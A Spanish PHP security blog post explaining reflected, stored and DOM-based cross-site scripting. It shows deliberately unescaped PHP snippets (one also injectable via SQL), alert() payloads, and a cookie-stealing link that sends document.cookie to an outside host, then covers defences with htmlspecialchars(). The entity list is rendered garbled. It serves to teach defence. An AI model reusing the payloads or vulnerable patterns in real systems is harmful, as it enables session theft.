viernes, 19 de julio de 2013

Seguridad PHP - Cross Site Scripting (XSS)

Mientras que un ataque 'SQL injection' pretendía insertar código 'malicioso' en las consultas SQL de una base de datos, XSS pretende que la aplicación web ejecute código JavaScript o similar. Es una vulnerabilidad que aprovecha la falta de mecanismos de filtrado y validación en los campos de entrada. Permitiendo así el envío de scripts completos (como Visual Basic Scripts o JavaScripts) con secuencias de comandos maliciosos que podrían impactar directamente en el sitio web o en el equipo de un usuario. Este código malicioso intenta aprovecharse de la confianza de un usuario en un sitio web, para engañarlo en la realización de alguna acción o forzarlo a enviar algún tipo de información a otro sitio que no es de confianza.

Por lo tanto, la diferencia en la ideología del ataque es que con 'SQL injection' se pretende aprovecharse de la poca seguridad del servidor para obtener acceso o alterar recursos del mismo mediante inserción de código SQL en el mismo. Mientras que con XSS se pretende introducir código JavaScript con el  propósito de que dicho código  al ser ejecutado por un cliente confiado lleve a cabo una acción maliciosa. Por ejemplo, un atacante colocar un enlace en un foro que al ser pinchado revele la información de identificación del usuario y la envíe a una dirección.

Tipos de ataque

- Directo o persistente. Este tipo de ataque que sucede cuando el código malicioso ha pasado el proceso de validación (si es que lo hay) y se almacena en la base de datos u otro medio (por ejemplo un fichero). Podría insertarse a través de  un comentario, archivo de registro, mensaje de notificación, o cualquier otra sección en la página web que requiere la entrada del usuario. Más tarde, cuando esta información particular se presenta en el sitio web, el código malicioso es ejecutado.

- Local. Es una de las variantes del XSS directo, uno de sus objetivos consiste en explotar las vulnerabilidades del mismo código fuente de la página web. Esas vulnerabilidades son resultado del uso indebido del DOM  con JavaScript, lo cual permite abrir otra página web con código malicioso JavaScript incrustado. Afectando el código de la primera página en el sistema local.
Cuando el ataque XSS es local, ningún código malicioso es enviado al servidor. El funcionamiento toma lugar completamente en la máquina del cliente, pero modifica la página proporcionada por el sitio web antes de que sea interpretada por el navegador para que se comporte como si fuera la de confianza. Esto significa que la protección del lado del servidor que filtra el código malicioso no funciona en este tipo de vulnerabilidad. Ya que la página suplantadora enviará la información a un servidor diferente del esperado por el cliente atacado.

- Indirecto o reflejado. Este tipo de ataques se presenta, cuando el código maligno se inyecta a través de formularios, a través de los parámetros de una URL, programas en Flash, un enlace malicioso e incluso vídeos. Utilizado mayoritariamente para robo de sesiones o phishing.

Ejemplos


- Ataque indirecto 1:

Imaginemos un input para buscar un valor. Podríamos realizar el siguiente tratamiento para realizar una búsqueda:

 <?php  
 if(isset($_GET['terminoBusqueda'])){  
   echo "Has buscado: " . $_GET["terminoBusqueda"];  
 }  
 ?>  
 <html>  
   <head>  
     <meta charset="utf-8"/>  
   </head>  
   <body>  
     <form action="xss.php">  
        <input type="text" name="terminoBusqueda"/>  
        <input type="submit" value="enviar"/>  
     </form>  
   </body>  
 </html>  

Imagina que en el input se introduce:

 <script> alert('hola') </script>  

Y como no validamos nada el resultado sería la devolución de una página que pondrá Has buscado:  y la ejecución del la instrucción. Que muestra una ventana de mensaje en el navegador cliente.
Imagina que creativos podrían haber sido en el código dentro del alert() .

En las nuevas versiones de Chrome (versión 26) este ejemplo de ataque no funciona. Gracias a su filtro XSS. El código javascript que viaja por la URL no se ejecutará en el navegador y la consola de desarrolladores lanzará el siguiente mensaje: Refused to execute a JavaScript script. Source code of script found within request.
Sin embargo en el navegador Firefox si que funciona (al menos en la versión 20).

- Ataque indirecto 2:

Imaginad el siguiente script (xss_prueba.php)

 <?php  
 $nombre = $_GET['nombre'];  
 echo "Bienvenido $nombre<br>";  
 echo "<a href='http://ejemplo.com/'>Click para descargar</a>";  
 ?>  

Es susceptible a que se modifique la url en el navegador por la siguiente y se envie  la petición al servidor

 xss_prueba.php?nombre=<script> window.onload = function() {var link = document.getElementsByTagName("a") ; link[0].href="direccion";} </script>  

Con lo que se conseguiría una página de respuesta con la dirección del enlace aputando a un sitio que podría no ser de confianza.

Nuevamente Chrome no permite la ejecución del script. Pero en Firefox si que conseguimos cambiar la dirección del enlace. Pero claro una persona se puede dar cuenta de que la dirección del enlace no es muy confiable. Pero el atacante podría codificarla y el usaurio no sabria realmente donde apunta.

- Ataque directo 1:

Imaginemos un ejemplo parecido al anterior. En este caso el código del script se almacenará y será ejecutado al leer el fichero.

 <?php  
 if (isset($_POST["message"])) {  
   $fp = fopen('data.txt', 'a');  
   fwrite($fp, $_POST["message"]);  
   fclose($fp);  
 }  
 ?>  
 <form action="" method="post">  
   Añadir: <input type="text" name="message" size="60" value="" />  
   <input type="submit" />  
 </form>  
 <br />  
 Info:  
 <?php  
 include('data.txt');  
 ?>  

Podríamos perfectamente introducir en el input:

 <script> alert('hola!!!')</script>  

Con lo que se almacenaría en el fichero (del servidor) y este se ejecutaría en el cliente. Ejecutándose nuevamente la instrucción alert.
Pensar que en vez de un 'alert' se puede acceder a datos de las cookies y enviarlos.

En esta ocasión tanto Chrome como Firefox no han detenido el ataque XSS.

- Ataque directo 2:

Pensemos ahora en un simple script en el que un usuario identificado puede actualizar su nombre de usuario y un usuario administrador puede ver la lista de todos los usuarios.

 <?php  
 session_start();  
 if (!isset($_SESSION['USER_NAME'])) {  
   echo "Tienes que identificarte";  
   header("Location: identificacion.php");  
 } else {  
   $db = new mysqli('localhost', 'user', 'pass', 'demo');  
   if ($db->connect_errno > 0) {  
     die('No es posible conectarse a la base de datos [' . $db->connect_error . ']');  
   }  
   if ($_SERVER['REQUEST_METHOD'] == "POST") {  
     $query = "update users set display_name='" . $_POST['disp_name'] . "' where user_name='" . $_SESSION['USER_NAME'] . "';";  
     $db->query($query);  
   } else {  
     if (strcmp($_SESSION['USER_NAME'], 'admin') == 0) {  
       echo "Bienvenido Admin<br/><hr>";  
       echo "Listado de usuarios<br/>";  
       $query = "select display_name from users where user_name!='admin'";  
       if (!$result = $db->query($query)) {  
         die('Ha habido un error en la actualización [' . $db->error . ']');  
       }  
       while ($row = $result->fetch_assoc()) {  
         echo $row[display_name] . '<br />';  
       }  
     } else {  
       echo "<form name='tgs' id='tgs' method='post' action='home.php'>";  
       echo "Actualizar nombre :<input type='text' id='disp_name' name='disp_name' value=''";  
       echo "<input type='submit' value='Update'>";  
     }  
   }  
 }  
 ?>  

Como no hay ningún tipo de control de la entrada, un usuario podría introducir el siguiente código en el input de entrada:

 <a href=# onclick=\"document.location=\'http://www.direccion.com/script.php?c=\'+escape\(document.cookie\)\;\">Jose</a>  

Y si el administrador descuidado (por no ver que el enlace es raro) hace click en él, enviará el información de la cookie al sitio atacante. Y con ella el atacante podría identificarse como administrador en el sitio web. Con el PHPSESSID de la cookie podría usar la sesión para obtener privilegios de admin. Antes de que esta caduque.

Un buen diseño del sistema dificulta ataques

El primer paso para evitar posibles ataques mediante XSS, consiste en hacer un buen diseño de la interfaz y por lo tanto decidir que tipo de acciones se permiten con peticiones GET  y que tipo con peticiones POST. Recordemos que aunque peticiones POST no sean sinónimo de seguridad, si que es cierto que pone algo más de dificultades a los posibles atacante que el uso de peticiones GET. Debido a la visibilidad de las query strings (?variable=valor&variable2=valor2....). Pero solo esto no nos va a proteger de nada. Si no que hay que tener en cuenta ciertas cuestiones.

SSL  no soluciona XSS

Cuando un usuario, con su navegador,  inicia sesión en un sitio web protegido por certificados SSL, el navegador otorga información (tras registrar el certificado) sobre el propietario legítimo de ese sitio web. Ya que una compañía de seguridad externa y confiable ha verificado la propiedad del mismo. De este modo, SSL  protege a los usuarios cuando ingresan a sitios web que pueden ser fraudulentos cuyas identidades son desconocidas.  Pero como hemos vito, lo ataques  XSS son el resultado de introducir un código malicioso, en un sitio web, que puede ser utilizado para diversas actividades 'maliciosas'. XSS se relaciona con la debilidad existente en las políticas de seguridad del propietario del sitio web,  no está relacionado con un error a la hora de validar  la propiedad de un sitio web.

Estrategias para evitar XSS

Como se comentó en el tutorial de 'SQL injection', la mejor manera de prevenir que alguien introduzca código indeseable, es procesar y tratar su posible entrada. Para 'SQL injection' podemos usar la clase PDO junto a las consultas preparadas o la función de escapado mysqli_real_escape_string() proporcionada por la interfaz MySQLi.  La idea para evitar XSS es la misma. Filtrar para evitar esa inserción de código 'malicioso'. Evidentemente para ello utilizaremos otros métodos de filtrado, debido a la naturaleza del código que puede usarse para ataques XSS.

1 - Validación tipo de datos.
Lo dicho, el primer paso es no confiar en lo que va a introducir el usuario. Por lo tanto tenemos que asegurarnos que dichos datos son del tipo que tienen que ser. 

2 - Procesar Datos.
Es importante sanear los datos de entrada, ya que es posible que datos que hemos validado correctamente por su tipo sean peligrosos. Evidentemente me refiero a las cadenas. Las cadenas son los tipos de datos que conllevan más peligro potencial. Y dentro de ellas lo más peligrosos para ataques XSS son las entidades HTML.

A priori podríamos pensar en 3 soluciones:
- Podríamos utilizar el filtro FILTER_SANITIZE_STRING y sus respectivas banderas.
- La función htmlspecialchars() para convertir los caracteres especiales en su codificación HTML o su filtro equivalente FILTER_SANITIZE_SPECIAL_CHARS.
- La función strip_tags para eliminar entidades php y html de una cadena

 string strip_tags ( string $str [, string $allowable_tags ] )  

Sin embargo la opción de eliminar entidades HTML con strip_tags() puede no ser una buena idea, dependiendo del tipo de aplicación. Imagina que tenemos un editor de texto para comentarios y queremos almacenar texto en negrita. Tendremos que almacenar el texto junto con sus etiquetas HTML correspondiente. Pero si eliminamos todas las etiquetas HTML o PHP con strip_tags() esto no será posible.
Es cierto que en la función strip_tags() podemos indicar como segundo parámetro las entidades aceptadas (como una lista blanca) pero eso es muy engorroso.
En cuanto a  FILTER_SANITIZE_STRING nuevamente elimina entidades html. También puede codificar mediante el uso de sus banderas. Pero con los caracteres ASCII (menores del 32 o mayores del 127) que puede codificar no evitaríamos los ataques XSS. Por ejemplo el carácter '<' es el 60 en la tabla ASCII y no lo podrá codificar.

Al igual que la solución para evitar 'SQL injection', la mejor opción es realizar un correcto escapado de elementos peligrosos. Para ello utilizaremos la opción de htmlspecialchars(). También podríamos utilizar su filtro equivalente pero htmlspecialchars() tiene una nomenclatura más corta que la función filter_var() junto con el tipo de filtro  (FILTER_SANITIZE_SPECIAL_CHARS).

Por lo tanto la mejor opción de todas es htmlspecialchars(). Vamos a ver su sintaxis:

 string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = 'UTF-8' [, bool $double_encode = true ]]] )  

Esta función convierte los siguientes caracteres:
- '&' (et) se convierte en '&'
- '"' (comillas dobles) se convierte en '"' cuando ENT_NOQUOTES no está establecido.
- "'" (comilla simple) se convierte en ''' (o ') sólo cuando ENT_QUOTES está establecido.
- '<' (menor que) se convierte en '<'
- '>' (mayor que) se convierte en '>'

Si queremos ver la tabla entera de opciones podemos ir a la documentación oficial. Sin embargo vamos a mostrar la forma más adecuada de uso de la función.

 htmlspecialchars($val, ENT_QUOTES,'UTF-8');  

- La bandera ENT_QUOTES indica que vamos a convertir a entidades HTML ambos tipos de comillas. Tanto las simples como las dobles.
- En cuanto al 'charset' de codificación vamos a elegir UTF-8 (por defecto en PHP 5.4). Ya que es contiene el conjunto de caracteres más completo y es el estándar para una aplicación multi-idioma.

Existe una función muy similar a htmlspecialchars(). Se trata de htmlentities(). Por lo que también se podría usar para evitar ataques XSS. Sin embargo htmlentities() codifica cualquier entidad HTML, lo que hará un procesamiento extra de codificación sobre elementos que no son potencialmente peligrosos.

También podríamos haber pensado en el uso de expresiones regulares para evitar los ataques XSS. Y es una opción muy válida pero considero que quizás es más recomendado el uso de funciones ya optimizadas (supuestamente) y proporcionadas por el lenguaje.

Filtrado de url


En ocasiones será interesante almacenar una url. Por ejemplo en sitios web donde permite que en el perfil de usuario se indique una página personal.
Cuando presentamos los filtros que proporciona PHP mencionamos el filtro FILTER_VALIDATE_URL.  Podríamos pensar que es suficiente para asegurarnos de que un usuario introduce una URL adecuada. Y ciertamente, valida que una URL sea correcta. Pero hay que tener cuidado con este filtro. Porque también valida una URL con código JavaScript incrustado. Por lo que podría aprovecharse esta vulnerabilidad para ataques XSS al servidor.

Probemos el siguiente código:

 echo filter_var('http://eejemplo.com/<script>alert("hola!")</script>', FILTER_VALIDATE_URL);   

Es igual que usemos cualquiera de las 4 banderas que permite el filtro. El filtro dirá que la URL es correcta.Y por lo tanto sin el debido tratamiento puede ser otra entrada a ataques XSS.

Por lo que nuevamente, y esto podrá servir de conclusión, la correcta protección contra XSS pasa por un correcto escapado de las entidades que pueden ser peligrosas. Y para ello existe la función htmlspecialchars()


Entradas relacionadas

Seguridad PHP - Validación y filtrado 1

1 comentario: